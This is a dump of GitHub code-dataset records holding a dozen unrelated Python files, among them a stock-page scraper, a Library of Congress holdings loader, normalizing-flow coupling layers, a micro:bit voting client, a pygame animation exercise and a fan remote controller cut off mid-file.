BeautifulSoup(response.text,'lxml')\n tr = soup.find('tbody',{'id':'tablebody'})\n asp = tr.findAll('a') \n for i in asp:\n if '/servlets/stk/fin/' in i['href']:\n b.append(i.text.strip())\n a.append(prefix_link + i['href'])\n\nfor job,stock_name in zip(a,b):\n try:\n rs = requests.get(job,headers = header)\n time.sleep(random.randint(3,5))\n filename = directory + \"/\" + stock_name + \".html\"\n with open(filename, 'wb') as f :\n f.write(rs.text.encode('utf-8'))\n f.close()\n counts +=1\n except:\n logging.error(traceback.format_exc())\n counts +=1\n","repo_name":"erictan120796/Stocify","sub_path":"crawl_quarter_details.py","file_name":"crawl_quarter_details.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"9956070825","text":"import logging\nimport os\nfrom datetime import datetime\nfrom time import time\n\nfrom django.db import reset_queries\nfrom pymarc import map_xml\n\nfrom chronam.core import models\nfrom chronam.core.title_loader import _extract, _normal_oclc\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass HoldingLoader:\n \"\"\"\n A loader for holdings data. Intended to be run after titles have been\n loaded with TitleLoader. This is necessary so that holdings records\n can be attached to the appropriate Title.\n \"\"\"\n\n def __init__(self):\n self.records_processed = 0\n self.missing_title = 0\n self.errors = 0\n self.skipped = 0\n\n self.holding_created = 0\n self.no_oclc = 0\n self.files_processed = 0\n\n def load_file(self, filename, skip=0):\n t0 = time()\n times = []\n\n def _process_time():\n seconds = time() - t0\n times.append(seconds)\n\n if self.records_processed % 1000 == 0:\n LOGGER.info(\n \"processed %sk records in %.2f seconds\" % (self.records_processed / 1000, seconds)\n )\n\n def load_xml_record(record):\n try:\n self.records_processed += 1\n if skip > self.records_processed:\n LOGGER.info(\"skipped %i\" % self.records_processed)\n return\n if record.leader[6] == \"y\":\n self.load_xml_holding(record)\n\n except Exception as e:\n LOGGER.error(\"unable to load record %s: %s\" % (self.records_processed, e))\n LOGGER.exception(e)\n self.errors += 1\n\n _process_time()\n\n map_xml(load_xml_record, file(filename, \"rb\"))\n\n def _get_related_title(self, oclc):\n \"\"\"\n Match the title via oclc number or record an error.\n \"\"\"\n try:\n titles = models.Title.objects.filter(oclc=oclc)\n return titles\n except models.Title.DoesNotExist:\n LOGGER.error(\"Holding missing Title to link: record %s, oclc %s\" % (self.records_processed, oclc))\n self.missing_title += 1\n self.errors += 1\n return None\n\n def _get_related_inst_code(self, inst_code):\n \"\"\" Match the institutional code or record an error.\"\"\"\n try:\n inst = models.Institution.objects.get(code=inst_code)\n return inst\n except models.Institution.DoesNotExist:\n LOGGER.error(\"Holding missing Institution to link to: %s\" % inst_code)\n self.errors += 1\n return None\n\n def _extract_holdings_type(self, record):\n \"\"\" Extract holdings type from 007 field & 856 $u field. \"\"\"\n h856u = _extract(record, \"856\", \"u\")\n if h856u and h856u.startswith(\"http\"):\n h_type = \"Online Resource\"\n else:\n h_type = _holdings_type(_extract(record, \"007\"))\n return h_type\n\n def _parse_date(self, f008):\n \"\"\"\n Parse date takes the f008 field and pulls out the date.\n This is shared funciton for both formats (xml & tsv) that holdings\n come in.\n \"\"\"\n date = None\n if f008:\n y = int(f008[26:28])\n m = int(f008[28:30])\n if y and m:\n # Possibly when we hit 2080, if we are still using\n # this approach, then it maybe buggy -- 1980 or 2080.\n if y <= int(datetime.strftime(datetime.today(), \"%y\")):\n y = 2000 + y\n else:\n y = 1900 + y\n date = \"%02i/%i\" % (m, y)\n return date\n\n def load_xml_holding(self, record):\n # get the oclc number to link to\n oclc = _normal_oclc(_extract(record, \"004\"))\n if not oclc:\n LOGGER.error(\"holding record missing title: record %s, oclc %s\" % (self.records_processed, oclc))\n self.errors += 1\n return\n\n titles = self._get_related_title(oclc)\n if not titles:\n return\n\n # get the institution to link to\n inst_code = _extract(record, \"852\", \"a\")\n inst = self._get_related_inst_code(inst_code)\n if not inst:\n return\n\n # get the holdings type\n holding_type = self._extract_holdings_type(record)\n\n # get the description\n desc = _extract(record, \"866\", \"a\") or _extract(record, \"866\", \"z\")\n notes = _extract(record, \"852\", \"z\")\n\n # get the last modified date\n f008 = _extract(record, \"008\")\n date = self._parse_date(f008)\n\n # persist it\n for title in titles:\n holding = models.Holding(\n title=title,\n institution=inst,\n description=desc,\n type=holding_type,\n last_updated=date,\n notes=notes,\n )\n holding.save()\n self.holding_created += 1\n reset_queries()\n\n def main(self, holdings_source):\n\n # first we delete any existing holdings\n holdings = models.Holding.objects.all()\n [h.delete() for h in holdings]\n\n # a holdings source can be one file or a directory of files.\n loader = HoldingLoader()\n LOGGER.info(\"loading holdings from: %s\" % holdings_source)\n\n # check if arg passed is a file or a directory of files\n if os.path.isdir(holdings_source):\n holdings_dir = os.listdir(holdings_source)\n for filename in holdings_dir:\n holdings_file_path = os.path.join(holdings_source, filename)\n loader.load_file(holdings_file_path)\n loader.files_processed += 1\n else:\n loader.load_file(holdings_source)\n loader.files_processed += 1\n\n LOGGER.info(\"records processed: %i\" % loader.records_processed)\n LOGGER.info(\"missing title: %i\" % loader.missing_title)\n LOGGER.info(\"skipped: %i\" % loader.skipped)\n LOGGER.info(\"errors: %i\" % loader.errors)\n LOGGER.info(\"holdings saved: %i\" % loader.holding_created)\n LOGGER.info(\"files processed: %i\" % loader.files_processed)\n\n\ndef _holdings_type(s):\n if s[0] == \"t\":\n return \"Original\"\n elif s[0] == \"h\" and len(s) > 11:\n if s[11] == \"a\":\n return \"Microfilm Master\"\n elif s[11] == \"b\":\n return \"Microfilm Print Master\"\n elif s[11] == \"c\":\n return \"Microfilm Service Copy\"\n # other values are classified as generic microform\n # m - Mixed generation\n # u - Unknown\n # | - No attempt to code\n elif s[11] in [\"m\", \"u\", \"|\"]:\n return \"Microform\"\n else:\n return None\n elif s[0] == \"c\":\n return \"Online Resource\"\n elif s[0] == \"z\":\n return \"Unspecified\"\n else:\n return None\n","repo_name":"LibraryOfCongress/chronam","sub_path":"core/holding_loader.py","file_name":"holding_loader.py","file_ext":"py","file_size_in_byte":6888,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"62"} +{"seq_id":"16001558091","text":"##### spixel_utils #####\r\n# This script contains utility functions including:\r\n#\r\n# -> find_mean_std: finds the mean and standard deviations for the Red, Green and Blue channel\r\n# of an input image, such that the image can be normalized\r\n#\r\n# -> \r\n\r\n## IMPORTS ##\r\n# Load necessary modules\r\nimport torch\r\nimport torch.nn.functional as F\r\nimport torch.nn as nn\r\nimport numpy as np\r\nimport math\r\n\r\nfrom skimage.color import rgb2lab\r\nfrom skimage.util import img_as_float\r\n\r\nfrom scipy import interpolate\r\nimport torch_scatter\r\n\r\n### Functions ###\r\nclass img2lab(object):\r\n def __call__(self, img):\r\n img = np.array(img)\r\n flt_img = img_as_float(img)\r\n lab_img = rgb2lab(flt_img)\r\n return (lab_img)\r\n \r\nclass ToTensor(object):\r\n \"\"\"Convert ndarrays in sample to Tensors.\"\"\"\r\n def __call__(self, img):\r\n assert isinstance(img, np.ndarray)\r\n # swap color axis because\r\n # numpy image: H x W x C\r\n # torch image: C x H x W\r\n img = img.transpose((2, 0, 1))\r\n return (torch.from_numpy(img))\r\n\r\nclass xylab(nn.Module):\r\n def __init__(self, color_scale, pos_scale_x, pos_scale_y):\r\n super(xylab, self).__init__()\r\n self.color_scale = color_scale\r\n self.pos_scale_x = pos_scale_x\r\n self.pos_scale_y = pos_scale_y\r\n\r\n def forward(self, Lab):\r\n ########## compute the XYLab features of the batch of images in Lab ########\r\n # 1. rgb2Lab\r\n # 2. create meshgrid of X, Y and expand it along the mini-batch dimension\r\n #\r\n # Lab: tensor (shape = [N, 3, H, W]): the input image is already opened in LAB format via the Dataloader defined # in \"cityscapes.py\" \r\n # XY: tensor (shape = [N, 2, H, W])\r\n # XYLab: tensor (shape = [N, 5, H, W])\r\n \r\n N = Lab.shape[0]\r\n H = Lab.shape[2]\r\n W = Lab.shape[3]\r\n \r\n # Y, X = torch.meshgrid([torch.arange(0, H, out = torch.cuda.FloatTensor()), torch.arange(0, W, out = torch.cuda.FloatTensor())])\r\n Y, X = torch.meshgrid([torch.arange(0, H, out = torch.FloatTensor()), torch.arange(0, W, out = torch.FloatTensor())])\r\n # print(Y.shape, X.shape)\r\n # print(Y, X)\r\n # print('X[None, None, :, :]', X[None, None, :, :].shape)\r\n # print('X[None, None, :, :].expand(N, -1, -1, -1)', X[None, None, :, :].expand(N, -1, -1, -1).shape)\r\n X = self.pos_scale_x * X[None, None, :, :].expand(N, -1, -1, -1) # shape = [N, 1, H, W]\r\n # print(X)\r\n # print(X.shape)\r\n Y = self.pos_scale_y * Y[None, None, :, :].expand(N, -1, -1, -1) # shape = [N, 1, H, W]\r\n Lab = self.color_scale * Lab.to(torch.float) # requires casting as all input tensors to torch.cat must be of the same dtype\r\n\r\n # print(torch.cat((X, Y, Lab), dim = 1))\r\n # print(torch.cat((X, Y, Lab), dim = 1).shape)\r\n return torch.cat((X, Y, Lab), dim = 1), X, Y, Lab\r\n\r\n\r\ndef find_mean_std(img):\r\n # Finds the mean and standard deviation of each RGB channel of an input image\r\n\r\n total_pixel = img.shape[0] * img.shape[1]\r\n\r\n R_mean = np.sum(img[:,:,0]) / total_pixel\r\n G_mean = np.sum(img[:,:,1]) / total_pixel\r\n B_mean = np.sum(img[:,:,2]) / total_pixel\r\n\r\n R_std = math.sqrt( (np.sum((img[:, :, 0] - R_mean) ** 2)) / total_pixel)\r\n G_std = math.sqrt( (np.sum((img[:, :, 0] - G_mean) ** 2)) / total_pixel)\r\n B_std = math.sqrt( (np.sum((img[:, :, 0] - B_mean) ** 2)) / total_pixel)\r\n\r\n return [R_mean, G_mean, B_mean], [R_std, G_std, B_std]\r\n\r\ndef get_spixel_init(num_spixels, img_width, img_height):\r\n\r\n k = num_spixels\r\n k_w = int(np.floor(np.sqrt(k * img_width / img_height)))\r\n k_h = int(np.floor(np.sqrt(k * img_height / img_width)))\r\n\r\n # print(k_h,k_w)\r\n\r\n spixel_height = img_height / (1. * k_h)\r\n spixel_width = img_width / (1. * k_w)\r\n # print(spixel_width)\r\n\r\n # h_coords = np.arange(-spixel_height / 2., img_height + spixel_height - 1,\r\n # spixel_height)\r\n # w_coords = np.arange(-spixel_width / 2., img_width + spixel_width - 1,\r\n # spixel_width)\r\n\r\n\r\n h_coords = np.arange(-spixel_height / 2., img_height + spixel_height - 1,\r\n spixel_height)\r\n w_coords = np.arange(-spixel_width / 2., img_width + spixel_width - 1,\r\n spixel_width)\r\n \r\n # print(h_coords)\r\n # print(w_coords)\r\n \r\n spix_values = np.int32(np.arange(0, k_w * k_h).reshape((k_h, k_w)))\r\n spix_values = np.pad(spix_values, 1, 'symmetric')\r\n # print(spix_values)\r\n f = interpolate.RegularGridInterpolator((h_coords, w_coords), spix_values, method='nearest')\r\n\r\n all_h_coords = np.arange(0, img_height, 1)\r\n all_w_coords = np.arange(0, img_width, 1)\r\n all_grid = np.array(np.meshgrid(all_h_coords, all_w_coords, indexing = 'ij'))\r\n all_points = np.reshape(all_grid, (2, img_width * img_height)).transpose()\r\n # print(all_points)\r\n\r\n spixel_initmap = f(all_points).reshape((img_height,img_width))\r\n # print(spixel_initmap)\r\n\r\n feat_spixel_initmap = spixel_initmap\r\n return [spixel_initmap, feat_spixel_initmap, k_w, k_h]\r\n\r\n\r\ndef compute_init_spixel_feat(trans_feature, spixel_init, num_spixels):\r\n # initializes the (mean) features of each superpixel using the features encoded by the CNN \"trans_feature\"\r\n #\r\n # INPUTS:\r\n # 1) trans_feature: (tensor of shape [B, C, H, W])\r\n # 2) spixel_init: (tensor of shape [H, W])\r\n #\r\n # RETURNS:\r\n # 1) init_spixel_feat: (tensor of shape [B, K, C])\r\n\r\n # num_spixels = np.int(max(np.unique(spixel_init))+1)\r\n\r\n # print(\"SHOULD BE 25:\", num_spixels)\r\n\r\n trans_feature = torch.flatten(trans_feature, start_dim = 2) # shape = [B, C, N]\r\n trans_feature = trans_feature.transpose(0, 2) # shape = [N, C, N] ***SHOULD BE [N, C, B] ???\r\n \r\n # spixel_init = torch.from_numpy(spixel_init.flatten()).long().cuda() # shape = [N]\r\n # spixel_init = torch.from_numpy(spixel_init.flatten()).long() # shape = [N]\r\n spixel_init = spixel_init[:, None, None].expand(trans_feature.size()) # shape = [N, C, B]\r\n # print(\"SPIXEL_INIT\", spixel_init)\r\n\r\n \r\n\r\n init_spixel_feat = torch_scatter.scatter(trans_feature, spixel_init, dim_size = num_spixels, reduce='mean', dim=0) # shape = [K, C, N] *** SHOULD BE [K, C, B] ????\r\n \r\n result = init_spixel_feat.transpose(0, 2).transpose(1, 2) \r\n return result # shape = [B, K, C]","repo_name":"sgraine/point-label-aware-superpixels","sub_path":"spixel_utils.py","file_name":"spixel_utils.py","file_ext":"py","file_size_in_byte":7007,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"23728905887","text":"from denseflow.transforms import Bijection, BatchNormBijection2d, Conv1x1\nfrom denseflow.utils import sum_except_batch\nfrom denseflow.nn.layers import ElementwiseParams2d\nimport torch.utils.checkpoint as cp\nimport torch.nn.functional as F\nfrom denseflow.nn.nets import DenseNetMultihead\n\nimport torch.nn as nn\nimport torch\n\ncheckpoint = lambda func, inputs: cp.checkpoint(func, inputs, preserve_rng_state=True)\n\ndef _checkpoint_fb(t):\n def func(x):\n return t(x) + torch.cat((x, x), dim=1)\n return func\n\n# Intra-unit coupling net\nclass DNMH(nn.Module):\n def __init__(self, inChannels, midChannel, outChannel, checkpointing=False):\n super(DNMH, self).__init__()\n self.dn = DenseNetMultihead(in_channels=inChannels,\n out_channels=outChannel,\n num_blocks=1,\n mid_channels=midChannel,\n depth=7,\n # depth=4,\n growth=64,\n dropout=0.0,\n gated_conv=True,\n zero_init=True, checkpointing=checkpointing)\n\n def forward(self, x):\n return self.dn(x)\n\nclass AffineCouplingBijection(Bijection):\n def __init__(self, coupling_net, split_dim=1, num_condition=None):\n super(AffineCouplingBijection, self).__init__()\n assert split_dim >= 1\n self.coupling_net = coupling_net\n self.split_dim = split_dim\n self.num_condition = num_condition\n\n def split_input(self, input):\n if self.num_condition:\n split_proportions = (self.num_condition, input.shape[self.split_dim] - self.num_condition)\n return torch.split(input, split_proportions, dim=self.split_dim)\n else:\n return torch.chunk(input, 2, dim=self.split_dim)\n\n def forward(self, x):\n if not x.requires_grad:\n x.requires_grad = True\n x1, x2 = self.split_input(x)\n elementwise_params = self.coupling_net(x1)\n z2, ldj = self._elementwise_forward(x2, elementwise_params)\n\n z = torch.cat([x1, z2], dim=self.split_dim)\n return z, ldj\n\n def inverse(self, z):\n with torch.no_grad():\n z1, z2 = self.split_input(z)\n x1 = z1\n\n elementwise_params = self.coupling_net(x1)\n x2 = self._elementwise_inverse(z2, elementwise_params)\n\n x = torch.cat([x1, x2], dim=self.split_dim)\n return x\n\n def _output_dim_multiplier(self):\n raise NotImplementedError()\n\n def _elementwise_forward(self, x, elementwise_params):\n raise NotImplementedError()\n\n def _elementwise_inverse(self, z, elementwise_params):\n raise NotImplementedError()\n\n\nclass AdvancedAffineCouplingBijection(AffineCouplingBijection):\n\n def __init__(self, coupling_net, split_dim=1, num_condition=None, scale_fn=lambda s: torch.exp(s)):\n super(AdvancedAffineCouplingBijection, self).__init__(coupling_net=coupling_net, split_dim=split_dim, num_condition=num_condition)\n assert callable(scale_fn)\n self.scale_fn = scale_fn\n\n def _output_dim_multiplier(self):\n return 2\n\n def _elementwise_forward(self, x, elementwise_params):\n assert elementwise_params.shape[-1] == self._output_dim_multiplier()\n unconstrained_scale, shift = self._unconstrained_scale_and_shift(elementwise_params)\n scale = self.scale_fn(unconstrained_scale)\n z = scale * x + shift\n ldj = sum_except_batch(torch.log(scale))\n return z, ldj\n\n def _elementwise_inverse(self, z, elementwise_params):\n assert elementwise_params.shape[-1] == self._output_dim_multiplier()\n unconstrained_scale, shift = self._unconstrained_scale_and_shift(elementwise_params)\n scale = self.scale_fn(unconstrained_scale)\n x = (z - shift) / scale\n return x\n\n def _unconstrained_scale_and_shift(self, elementwise_params):\n unconstrained_scale = elementwise_params[..., 0]\n shift = elementwise_params[..., 1]\n return unconstrained_scale, shift\n\n\nclass SingleAffineCoupling(AdvancedAffineCouplingBijection):\n\n def __init__(self, in_channels, mid_chnls=16, checkpointing=False):\n # assert in_channels % 2 == 0\n out_c = in_channels // 2\n in_c = in_channels - out_c\n net = nn.Sequential(DNMH(\n inChannels=in_c,\n midChannel=mid_chnls,\n outChannel=out_c*2,\n checkpointing=checkpointing),\n ElementwiseParams2d(2, mode='sequential'))\n super(AdvancedAffineCouplingBijection, self).__init__(coupling_net=net)\n\n def _elementwise_forward(self, x, elementwise_params):\n unconstrained_scale, shift = self._unconstrained_scale_and_shift(elementwise_params)\n log_scale = 2. * torch.tanh(unconstrained_scale / 2.)\n z = shift + torch.exp(log_scale) * x\n ldj = sum_except_batch(log_scale)\n return z, ldj\n\n def _elementwise_inverse(self, z, elementwise_params):\n unconstrained_scale, shift = self._unconstrained_scale_and_shift(elementwise_params)\n log_scale = 2. * torch.tanh(unconstrained_scale / 2.)\n x = (z - shift) * torch.exp(-log_scale)\n return x\n","repo_name":"matejgrcic/DenseFlow","sub_path":"experiments/image/model/affine_coupling.py","file_name":"affine_coupling.py","file_ext":"py","file_size_in_byte":5293,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"62"} +{"seq_id":"2233922799","text":"def load(result):\n return {\n 'guild':result['guild'],\n 'request':{\n 'youtube_id':result['youtube_id']\n },\n 'errors':[\n {\n 'type':'client_error',\n 'details':'Client is already playing. If you want for the client to wait for the current audio to finish, set wait_voice_client_stop to 1',\n }\n ]\n }, 400","repo_name":"basset-bot/discord-integration","sub_path":"src/views/voice_channels/play/already_playing.py","file_name":"already_playing.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"21300137238","text":"class Solution:\n def longestCommonPrefix(self, strs):\n length=len(strs)\n if length==0:\n return \"\"\n num=[len(x) for x in strs]\n minstrlen=min(num)\n for x in range(0,length):\n if len(strs[x])==minstrlen:\n path=strs[x]\n if path==\"\":\n return \"\"\n for x in range(0,minstrlen):\n temp=path[0:minstrlen-x]\n flag=0\n for y in strs:\n if y.startswith(temp)==False:\n flag=1\n break\n if flag==0:\n return temp\n if flag==1:\n return \"\"","repo_name":"viewv/leetcode","sub_path":"14. Longest Common Prefix.py","file_name":"14. Longest Common Prefix.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"897030621","text":"radio.set_group(33)\nradio.set_transmit_power(7)\nradio.set_transmit_serial_number(True)\ncontrol.device_serial_number()\nstart = False\n\n#pokud je zahájeno hlasování a stisknete např. tlačítko A microbit ukáže string \"A\", v tuto chvíli můžete ještě změnit hlas, pro potvrzení musíte zmáčknout tlačítko ještě jednou,bez změny hlasu to fungovalo líp:(\n#pokud přijme number 3, server zaznamenal hlas\n#stisknutím tlačítka A hlasuji pro A\n#stisknutím tlačítka B hlasuji pro B\n#stisknutím tlačítka AB hlasuji pro C\n\n\ndef on_received_number(receivedNumber):\n if receivedNumber == 1:\n basic.show_string(\"S\",1500)\n start = True\n\n if receivedNumber == 2:\n basic.show_string(\"X\",1500)\n start = False\n\n if receivedNumber == 3:\n basic.show_icon(IconNames.YES,1500)\nradio.on_received_number(on_received_number)\n\n\n\n\ndef on_button_pressed_a():\n if start == True:\n basic.show_string(\"A\")\n if input.button_is_pressed(Button.A):\n radio.send_value(\"answer\", 1)\n start = False\n \ninput.on_button_pressed(Button.A, on_button_pressed_a)\n\ndef on_button_pressed_b():\n if start == True:\n basic.show_string(\"B\")\n if input.button_is_pressed(Button.B):\n radio.send_value(\"answer\", 2)\n start = False\ninput.on_button_pressed(Button.B, on_button_pressed_b)\n\ndef on_button_pressed_ab():\n if start == True:\n basic.show_string(\"C\")\n if input.button_is_pressed(Button.AB):\n radio.send_value(\"answer\", 1)\n start = False\ninput.on_button_pressed(Button.AB, on_button_pressed_ab)\n\n\n\n\n\n","repo_name":"dankolar69/hlasovani-klient","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70993348999","text":"#!/usr/bin/python\nimport sys, os, time, shutil,subprocess\ndatabase=sys.argv[1];\nmain_directory=sys.argv[2];\nmax_value=sys.argv[3];\nmax_value_segment=sys.argv[4];\nsgFolder=sys.argv[5];\nstorageFolder=sys.argv[6];\nstart_time = time.time()\nos.system(\"java -jar -Xms2G -Xmx3G jars/local_partitioner.jar %s %s %s %s\" %(database, main_directory,max_value,max_value_segment))\nos.system(\"python3 pyscripts/dataLoader.py %s %s\"%(sgFolder,storageFolder))\nprint(\"--- %s seconds ---\" % (time.time() - start_time))\n","repo_name":"amesmoudi/RDF_QDAG","sub_path":"pyscripts/dataPartitioner.py","file_name":"dataPartitioner.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40046717490","text":"GENERAL_INPUT_PATH = \"input/caddo/\"\nTEST_PATH_IMG_PATH = \"/Users/stephenlasky/Desktop/repos/deer-vision/images/HeathJoker.png\"\n\nTEST_DB_NAME = \"test.db\"\n\nFULL_IMAGE_HEIGHT = 1080\nFULL_IMAGE_WIDTH = 1920\nIMAGE_SCALE_FACTOR = 0.5\nSCALED_IMAGE_HEIGHT = int(IMAGE_SCALE_FACTOR * FULL_IMAGE_HEIGHT)\nSCALED_IMAGE_WIDTH = int(IMAGE_SCALE_FACTOR * FULL_IMAGE_WIDTH)\n\nTOP = 0\nTOP_RIGHT = 1\nRIGHT = 2\nBOT_RIGHT = 3\nBOTTOM = 4\nBOT_LEFT = 5\nLEFT = 6\nTOP_LEFT = 7\n\nDRAG_MODE_CREATE_RECT = 0\nDRAG_MODE_MODIFY_RECT = 1\n\n# Classifications\nDEER = \"DR\"\nCOYOTE = \"CY\"\nMAN = \"MN\"\nSQUIRREL = \"SQ\"\nPIG = \"PG\"\nUNLABLED = \"UL\"\n\nNUM_DEER = 0\nNUM_COYOTE = 1\nNUM_MAN = 2\nNUM_SQUIRREL = 3\nNUM_PIG = 4\nNUM_UNLABELED = 5\n\nSELECTED_BB_COLOR = \"yellow\"\nUNSELECTED_BB_COLOR = \"#FFCA0D\"\n\nTEXT_DEER = \"DEER\"\nTEXT_COYOTE = \"COYOTE\"\nTEXT_MAN = \"MAN\"\nTEXT_SQUIRREL = \"SQUIRREL\"\nTEXT_PIG = \"PIG\"\nTEXT_UNLABELED = \"Unlabeled\"\n\nCLASS_NUM_TO_TEXT = {\n NUM_DEER : TEXT_DEER,\n NUM_COYOTE : TEXT_COYOTE,\n NUM_MAN : TEXT_MAN,\n NUM_SQUIRREL : TEXT_SQUIRREL,\n NUM_PIG : TEXT_PIG,\n NUM_UNLABELED : TEXT_UNLABELED\n}\n\nLOCATION_CADDO = 0\n\nLOCATION_TO_INT = {\n \"caddo\" : LOCATION_CADDO\n}\n\nLABEL_STATUS_UNLABELED = 0\nLABEL_STATUS_LABELED = 1\n\nIMAGEIO_FFMPEG_EXE = \"/opt/homebrew/Cellar/ffmpeg/4.4.1_3/bin/ffmpeg\"","repo_name":"StephenLasky/DeerVision","sub_path":"enums.py","file_name":"enums.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1172037223","text":"\"\"\"\nrandom_animation.py\n===\nIn addition to moving from top to bottom, add some random lateral motion by adjusting the circle's velocity.\n\nRewrite the top to bottom animation code:\n1. Copy the boilerplate code from the template exercise - hello_pygame.py.\n2. Create three variables above the for loop. Name them x, y and velocity_y. Set them to the following values: \n x: window_dimensions[0] / 2\n y: 0\n velocity_y: 1\n3. Draw a circle using the x and y values above\n a. The code for the circle should go after the line that fills the background color in the while loop. \n b. Use the x and y values to set the coordinates of the circle.\n c. Use the docs if you need help with calling the function: http://www.pygame.org/docs/ref/draw.html#pygame.draw.circle\n4. Increment your y value by adding velocity_y.\n\nAdd random lateral motion (that is, animate along the x-axis):\n1. Before the while loop, add a velocity_x variable and set it to 0\n2. Within the while loop, change the velocity_x variable to a random integer value between -1 and 1\n3. Add the new velocity to x\n4. Run the program to see what happens\n5. Bound the velocity to a value between -2 and 2 using a conditional for a less pronounced effect\n\"\"\"\nimport pygame\nimport random\n\nFRAME_RATE = 30\nWINDOW_WIDTH = 800\nWINDOW_HEIGHT = 600\nWINDOW_TITLE = \"My Game\"\n\nbackground_color = (45, 45, 45)\nrunning = True\npygame.init()\n\nscreen = pygame.display.set_mode([WINDOW_WIDTH, WINDOW_HEIGHT])\npygame.display.set_caption(WINDOW_TITLE)\nclock = pygame.time.Clock()\nx = WINDOW_WIDTH / 2\ny = 0\nvelocity_y = 1\nvelocity_x = 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\n\nwhile running == True:\n\n # stop the main loop when window is closed \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n \n screen.fill(background_color)\n\n # draw everything here! this line draws a circle in the middle of the screen\n pygame.draw.circle(screen, (200, 200, 200), (x, y), 10)\n pygame.draw.circle(screen, (205, 140, 149), (x, y), 6)\n y += velocity_y\n velocity_x = random.randint(-1, 1)\n x += velocity_x\n\n if y >= WINDOW_HEIGHT:\n y = 0\n \n clock.tick(FRAME_RATE)\n pygame.display.flip()\n\n# exit when we're done with the loop\npygame.quit()\n","repo_name":"pdanshov/mtec2002_projects","sub_path":"class9/labs/random_animation.py","file_name":"random_animation.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"11867926623","text":"__dff_module_link_version__ = \"1.0.0\"\n\nfrom dff.api.module.module import *\nfrom dff.api.exceptions.libexceptions import *\nfrom dff.api.types.libtypes import Argument, typeId, Variant\n\nclass LINK(Script):\n def __init__(self):\n Script.__init__(self, \"link\")\n\n def start(self, args):\n dest = args[\"dest\"].value()\n node = args[\"file\"].value()\n self.vfs.link(node, dest)\n self.res[\"result\"] = Variant(str(\"linked \" + dest.path() + \"/\" + node.name() + \" created\").replace(\"//\", \"/\")) \n\n\nclass link(Module):\n def __init__(self):\n \"\"\"Create a link to a file\"\"\"\n Module.__init__(self, \"link\", LINK)\n self.conf.addArgument({\"name\": \"file\",\n \"description\": \"File to link to\",\n \"input\": Argument.Required|Argument.Single|typeId.Node})\n self.conf.addArgument({\"name\": \"dest\",\n \"description\": \"File pointing to the link\",\n \"input\": Argument.Required|Argument.Single|typeId.Node})\n self.tags = \"builtins\"\n","repo_name":"vertrex/DFF","sub_path":"dff/modules/builtins/link.py","file_name":"link.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"62"} +{"seq_id":"42249499393","text":"import time\nimport datetime\nfrom fan_package import fan_gpio_controller\nfrom fan_package.fan import *\nfrom fan_package.fan_enums import *\nfrom fan_package.mqtt_controller import *\nfrom threading import Thread\n\nprint(\"Fan remote controller\")\n\ndef set_fan_state(isOffice, state):\n global office_fan\n global bedroom_fan\n if isOffice:\n office_fan.fan_speed_state = state\n else:\n bedroom_fan.fan_speed_state = state\n\ndef message_parser(message):\n #global office_fan\n #global bedroom_fan\n\n message.payload = message.payload.decode('utf-8')\n \n def print_message(message):\n now = datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n print(\"{}: topic: '{}', payload: '{}'\".format(now, message.topic, message.payload))\n\n def get_fan_speed_enum(message):\n if message == \"1\":\n return FanSpeed.LOW\n elif message == \"2\":\n return FanSpeed.MEDIUM\n elif message == \"3\":\n return FanSpeed.HIGH\n\n #Fan Light On/Off messages\n if message.topic == \"fanControl/OfficeFan/light/set\":\n print_message(message)\n \n if message.payload == \"ON\" and office_fan.fan_light == FanLight.OFF or message.payload == \"OFF\" and office_fan.fan_light == FanLight.ON: \n fan_gpio_controller.toggle_light(True)\n toggle_fan_light_state(office_fan) \n elif message.topic == \"fanControl/BedroomFan/light/set\":\n print_message(message)\n \n if message.payload == \"ON\" and bedroom_fan.fan_light == FanLight.OFF or message.payload == \"OFF\" and bedroom_fan.fan_light == FanLight.ON: \n fan_gpio_controller.toggle_light(False)\n toggle_fan_light_state(bedroom_fan)\n\n #Fan On/Off messages\n elif message.topic == \"fanControl/OfficeFan/fan/on/set\":\n print_message(message)\n\n if message.payload == \"OFF\":\n fan_gpio_controller.turn_off_fan(True)\n office_fan.fan_speed_state = FanSpeedState.OFF\n else:\n if office_fan.fan_speed_state == FanSpeedState.OFF:\n fan_gpio_controller.set_fan_speed(office_fan.fan_speed, True)\n office_fan.fan_speed_state = FanSpeedState.ON\n elif message.topic == \"fanControl/BedroomFan/fan/on/set\":\n print_message(message)\n\n if message.payload == \"OFF\":\n fan_gpio_controller.turn_off_fan(False)\n bedroom_fan.fan_speed_state = FanSpeedState.OFF\n else:\n if bedroom_fan.fan_speed_state == FanSpeedState.OFF:\n fan_gpio_controller.set_fan_speed(bedroom_fan.fan_speed, False)\n bedroom_fan.fan_speed_state = FanSpeedState.ON\n #Fan Speed messages\n elif message.topic == \"fanControl/OfficeFan/fan/speed/set\":\n print_message(message)\n if message.payload == \"0\":\n fan_gpio_controller.turn_off_fan(True)\n office_fan.fan_speed_state = FanSpeedState.OFF\n else:\n speed = 